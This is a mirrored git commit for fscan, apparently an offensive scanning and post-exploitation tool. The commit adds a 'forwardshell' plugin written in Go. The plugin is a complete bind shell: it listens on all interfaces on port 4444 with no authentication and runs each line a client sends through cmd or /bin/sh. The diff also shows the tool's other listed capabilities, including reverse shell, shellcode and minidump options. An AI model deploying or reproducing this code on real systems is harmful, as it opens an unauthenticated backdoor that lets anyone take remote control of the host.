mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
feat: 添加正向Shell本地插件
- 新增forwardshell本地插件,支持跨平台远程Shell访问 - 支持Windows (cmd)、Linux/macOS (/bin/sh) 平台 - 添加-fsh-port参数指定监听端口,默认4444 - 实现并发连接处理和命令超时控制 - 集成生命周期管理,支持长时间运行 - 提供exit命令优雅断开连接
This commit is contained in:
parent
50247ee1e4
commit
0eef393420
@ -71,6 +71,10 @@ var (
|
|||||||
Socks5ProxyPort int // SOCKS5代理监听端口
|
Socks5ProxyPort int // SOCKS5代理监听端口
|
||||||
Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态
|
Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态
|
||||||
|
|
||||||
|
// 正向Shell相关变量
|
||||||
|
ForwardShellPort int // 正向Shell监听端口
|
||||||
|
ForwardShellActive bool // 正向Shell是否处于活跃状态
|
||||||
|
|
||||||
// Parse.go 使用的变量
|
// Parse.go 使用的变量
|
||||||
HostPort []string
|
HostPort []string
|
||||||
URLs []string
|
URLs []string
|
||||||
@ -228,6 +232,7 @@ func Flag(Info *HostInfo) {
|
|||||||
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
|
flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
|
||||||
flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
|
flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
|
||||||
flag.IntVar(&Socks5ProxyPort, "socks5-port", 0, i18n.GetText("flag_socks5_proxy"))
|
flag.IntVar(&Socks5ProxyPort, "socks5-port", 0, i18n.GetText("flag_socks5_proxy"))
|
||||||
|
flag.IntVar(&ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
|
||||||
flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
|
flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language"))
|
||||||
|
|
||||||
// 帮助参数
|
// 帮助参数
|
||||||
@ -374,12 +379,12 @@ func checkParameterConflicts() {
|
|||||||
if LocalMode {
|
if LocalMode {
|
||||||
if LocalPlugin == "" {
|
if LocalPlugin == "" {
|
||||||
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
|
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
|
||||||
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n")
|
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell\n")
|
||||||
os.Exit(1)
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 验证本地插件名称
|
// 验证本地插件名称
|
||||||
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy"} // 已重构的插件
|
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell"} // 已重构的插件
|
||||||
isValid := false
|
isValid := false
|
||||||
for _, valid := range validPlugins {
|
for _, valid := range validPlugins {
|
||||||
if LocalPlugin == valid {
|
if LocalPlugin == valid {
|
||||||
@ -390,7 +395,7 @@ func checkParameterConflicts() {
|
|||||||
|
|
||||||
if !isValid {
|
if !isValid {
|
||||||
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
|
||||||
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n")
|
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell\n")
|
||||||
os.Exit(1)
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -238,6 +238,10 @@ var FlagMessages = map[string]map[string]string{
|
|||||||
LangZH: "启动SOCKS5代理服务器端口 (如: 1080)",
|
LangZH: "启动SOCKS5代理服务器端口 (如: 1080)",
|
||||||
LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)",
|
LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)",
|
||||||
},
|
},
|
||||||
|
"flag_forward_shell_port": {
|
||||||
|
LangZH: "启动正向Shell服务器端口 (如: 4444)",
|
||||||
|
LangEN: "Start forward shell server on port (e.g.: 4444)",
|
||||||
|
},
|
||||||
"flag_language": {
|
"flag_language": {
|
||||||
LangZH: "语言: zh, en",
|
LangZH: "语言: zh, en",
|
||||||
LangEN: "Language: zh, en",
|
LangEN: "Language: zh, en",
|
||||||
|
@ -75,6 +75,14 @@ func RunScan(info common.HostInfo) {
|
|||||||
select {} // 阻塞等待,直到收到系统信号
|
select {} // 阻塞等待,直到收到系统信号
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if common.ForwardShellActive {
|
||||||
|
common.LogBase("检测到活跃的正向Shell,保持程序运行...")
|
||||||
|
common.LogBase("按 Ctrl+C 退出程序")
|
||||||
|
|
||||||
|
// 进入无限等待,保持程序运行以维持正向Shell
|
||||||
|
select {} // 阻塞等待,直到收到系统信号
|
||||||
|
}
|
||||||
|
|
||||||
// 完成扫描
|
// 完成扫描
|
||||||
finishScan()
|
finishScan()
|
||||||
}
|
}
|
||||||
|
331
Plugins/local/forwardshell/plugin.go
Normal file
331
Plugins/local/forwardshell/plugin.go
Normal file
@ -0,0 +1,331 @@
|
|||||||
|
package forwardshell
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/local"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ForwardShellPlugin 正向Shell插件 - 使用简化架构
|
||||||
|
type ForwardShellPlugin struct {
|
||||||
|
*local.BaseLocalPlugin
|
||||||
|
port int
|
||||||
|
listener net.Listener
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewForwardShellPlugin 创建正向Shell插件 - 简化版本
|
||||||
|
func NewForwardShellPlugin() *ForwardShellPlugin {
|
||||||
|
// 从全局参数获取正向Shell端口
|
||||||
|
port := common.ForwardShellPort
|
||||||
|
if port <= 0 {
|
||||||
|
port = 4444 // 默认端口
|
||||||
|
}
|
||||||
|
|
||||||
|
metadata := &base.PluginMetadata{
|
||||||
|
Name: "forwardshell",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "本地正向Shell服务器插件,在指定端口提供Shell访问",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"local", "shell", "remote", "access"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
}
|
||||||
|
|
||||||
|
plugin := &ForwardShellPlugin{
|
||||||
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||||
|
port: port,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置支持的平台(支持Windows、Linux和macOS)
|
||||||
|
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||||
|
// 不需要特殊权限(除非需要绑定低端口)
|
||||||
|
plugin.SetRequiresPrivileges(port < 1024)
|
||||||
|
|
||||||
|
return plugin
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize 初始化插件
|
||||||
|
func (p *ForwardShellPlugin) Initialize() error {
|
||||||
|
// 调用基类初始化
|
||||||
|
return p.BaseLocalPlugin.Initialize()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||||
|
func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
return p.ScanLocal(ctx, info)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScanLocal 执行正向Shell扫描 - 简化版本
|
||||||
|
func (p *ForwardShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
common.LogBase("启动正向Shell服务器...")
|
||||||
|
|
||||||
|
// 启动正向Shell服务器
|
||||||
|
common.LogBase(fmt.Sprintf("在端口 %d 上启动正向Shell服务", p.port))
|
||||||
|
|
||||||
|
// 直接在当前goroutine中运行,这样可以确保在设置ForwardShellActive后立即被主程序检测到
|
||||||
|
err := p.startForwardShellServer(ctx, p.port)
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("正向Shell服务器错误: %v", err))
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: err,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
result := &base.ScanResult{
|
||||||
|
Success: true,
|
||||||
|
Service: "ForwardShell",
|
||||||
|
Banner: fmt.Sprintf("正向Shell已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS),
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"port": p.port,
|
||||||
|
"platform": runtime.GOOS,
|
||||||
|
"service": "shell",
|
||||||
|
"status": "completed",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// startForwardShellServer 启动正向Shell服务器 - 核心实现
|
||||||
|
func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int) error {
|
||||||
|
// 监听指定端口
|
||||||
|
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("监听端口失败: %v", err)
|
||||||
|
}
|
||||||
|
defer listener.Close()
|
||||||
|
|
||||||
|
p.listener = listener
|
||||||
|
common.LogSuccess(fmt.Sprintf("正向Shell服务器已在 0.0.0.0:%d 上启动", port))
|
||||||
|
|
||||||
|
// 设置正向Shell为活跃状态,告诉主程序保持运行
|
||||||
|
common.ForwardShellActive = true
|
||||||
|
defer func() {
|
||||||
|
// 确保退出时清除活跃状态
|
||||||
|
common.ForwardShellActive = false
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 主循环处理连接
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
common.LogBase("正向Shell服务器被上下文取消")
|
||||||
|
return ctx.Err()
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置监听器超时,以便能响应上下文取消
|
||||||
|
if tcpListener, ok := listener.(*net.TCPListener); ok {
|
||||||
|
tcpListener.SetDeadline(time.Now().Add(1 * time.Second))
|
||||||
|
}
|
||||||
|
|
||||||
|
conn, err := listener.Accept()
|
||||||
|
if err != nil {
|
||||||
|
// 检查是否是超时错误
|
||||||
|
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
|
||||||
|
continue // 超时继续循环
|
||||||
|
}
|
||||||
|
common.LogError(fmt.Sprintf("接受连接失败: %v", err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogSuccess(fmt.Sprintf("客户端连接来自: %s", conn.RemoteAddr().String()))
|
||||||
|
|
||||||
|
// 并发处理客户端连接
|
||||||
|
go p.handleClient(conn)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleClient 处理客户端连接
|
||||||
|
func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) {
|
||||||
|
defer clientConn.Close()
|
||||||
|
|
||||||
|
// 发送欢迎信息
|
||||||
|
welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS)
|
||||||
|
clientConn.Write([]byte(welcome))
|
||||||
|
|
||||||
|
// 创建命令处理器
|
||||||
|
scanner := bufio.NewScanner(clientConn)
|
||||||
|
|
||||||
|
for scanner.Scan() {
|
||||||
|
command := strings.TrimSpace(scanner.Text())
|
||||||
|
|
||||||
|
if command == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if command == "exit" {
|
||||||
|
clientConn.Write([]byte("Goodbye!\n"))
|
||||||
|
common.LogBase(fmt.Sprintf("客户端 %s 主动断开连接", clientConn.RemoteAddr().String()))
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
// 执行命令并返回结果
|
||||||
|
p.executeCommand(clientConn, command)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := scanner.Err(); err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("读取客户端命令失败: %v", err))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// executeCommand 执行命令并返回结果
|
||||||
|
func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
|
||||||
|
var cmd *exec.Cmd
|
||||||
|
|
||||||
|
// 根据平台创建命令
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "windows":
|
||||||
|
cmd = exec.Command("cmd", "/c", command)
|
||||||
|
case "linux", "darwin":
|
||||||
|
cmd = exec.Command("/bin/sh", "-c", command)
|
||||||
|
default:
|
||||||
|
conn.Write([]byte(fmt.Sprintf("不支持的平台: %s\n", runtime.GOOS)))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置命令超时
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...)
|
||||||
|
|
||||||
|
// 执行命令并获取输出
|
||||||
|
output, err := cmd.CombinedOutput()
|
||||||
|
|
||||||
|
if ctx.Err() == context.DeadlineExceeded {
|
||||||
|
conn.Write([]byte("命令执行超时\n"))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
conn.Write([]byte(fmt.Sprintf("命令执行失败: %v\n", err)))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送命令输出
|
||||||
|
if len(output) == 0 {
|
||||||
|
conn.Write([]byte("(命令执行成功,无输出)\n"))
|
||||||
|
} else {
|
||||||
|
conn.Write(output)
|
||||||
|
// 确保输出以换行符结尾
|
||||||
|
if !strings.HasSuffix(string(output), "\n") {
|
||||||
|
conn.Write([]byte("\n"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送命令提示符
|
||||||
|
prompt := p.getPrompt()
|
||||||
|
conn.Write([]byte(prompt))
|
||||||
|
}
|
||||||
|
|
||||||
|
// getPrompt 获取平台特定的命令提示符
|
||||||
|
func (p *ForwardShellPlugin) getPrompt() string {
|
||||||
|
hostname, _ := os.Hostname()
|
||||||
|
username := os.Getenv("USER")
|
||||||
|
if username == "" {
|
||||||
|
username = os.Getenv("USERNAME") // Windows
|
||||||
|
}
|
||||||
|
if username == "" {
|
||||||
|
username = "user"
|
||||||
|
}
|
||||||
|
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "windows":
|
||||||
|
return fmt.Sprintf("%s@%s> ", username, hostname)
|
||||||
|
case "linux", "darwin":
|
||||||
|
return fmt.Sprintf("%s@%s$ ", username, hostname)
|
||||||
|
default:
|
||||||
|
return fmt.Sprintf("%s@%s# ", username, hostname)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetLocalData 获取正向Shell本地数据
|
||||||
|
func (p *ForwardShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||||
|
data := make(map[string]interface{})
|
||||||
|
|
||||||
|
// 获取系统信息
|
||||||
|
data["plugin_type"] = "forwardshell"
|
||||||
|
data["platform"] = runtime.GOOS
|
||||||
|
data["arch"] = runtime.GOARCH
|
||||||
|
data["port"] = p.port
|
||||||
|
data["service"] = "shell"
|
||||||
|
|
||||||
|
if hostname, err := os.Hostname(); err == nil {
|
||||||
|
data["hostname"] = hostname
|
||||||
|
}
|
||||||
|
|
||||||
|
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||||
|
data["home_dir"] = homeDir
|
||||||
|
}
|
||||||
|
|
||||||
|
if workDir, err := os.Getwd(); err == nil {
|
||||||
|
data["work_dir"] = workDir
|
||||||
|
}
|
||||||
|
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExtractData 提取数据(正向Shell主要是服务功能)
|
||||||
|
func (p *ForwardShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||||
|
return &base.ExploitResult{
|
||||||
|
Success: true,
|
||||||
|
Output: fmt.Sprintf("正向Shell服务器运行完成,端口: %d", p.port),
|
||||||
|
Data: data,
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"port": p.port,
|
||||||
|
"service": "shell",
|
||||||
|
"status": "completed",
|
||||||
|
},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetInfo 获取插件信息
|
||||||
|
func (p *ForwardShellPlugin) GetInfo() string {
|
||||||
|
var info strings.Builder
|
||||||
|
|
||||||
|
info.WriteString("正向Shell服务器插件\n")
|
||||||
|
info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port))
|
||||||
|
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||||
|
info.WriteString("功能: 提供远程Shell访问,支持命令执行\n")
|
||||||
|
info.WriteString("协议: TCP,基于文本的命令交互\n")
|
||||||
|
info.WriteString("实现方式: 纯Go原生,无外部依赖\n")
|
||||||
|
info.WriteString("安全提示: 仅在授权环境中使用,建议配合防火墙限制访问\n")
|
||||||
|
|
||||||
|
return info.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterForwardShellPlugin 注册正向Shell插件
|
||||||
|
func RegisterForwardShellPlugin() {
|
||||||
|
factory := base.NewSimplePluginFactory(
|
||||||
|
&base.PluginMetadata{
|
||||||
|
Name: "forwardshell",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "本地正向Shell服务器插件,在指定端口提供Shell访问",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"forwardshell", "local", "shell", "remote"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
},
|
||||||
|
func() base.Plugin {
|
||||||
|
return NewForwardShellPlugin()
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
base.GlobalPluginRegistry.Register("forwardshell", factory)
|
||||||
|
}
|
||||||
|
|
||||||
|
// init 插件注册函数
|
||||||
|
func init() {
|
||||||
|
RegisterForwardShellPlugin()
|
||||||
|
}
|
1
main.go
1
main.go
@ -14,6 +14,7 @@ import (
|
|||||||
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 已重构,可用
|
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 已重构,可用
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // 已重构,可用
|
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // 已重构,可用
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/avdetect" // 已重构,可用
|
_ "github.com/shadow1ng/fscan/plugins/local/avdetect" // 已重构,可用
|
||||||
|
_ "github.com/shadow1ng/fscan/plugins/local/forwardshell" // 新增,可用
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
Loading…
Reference in New Issue
Block a user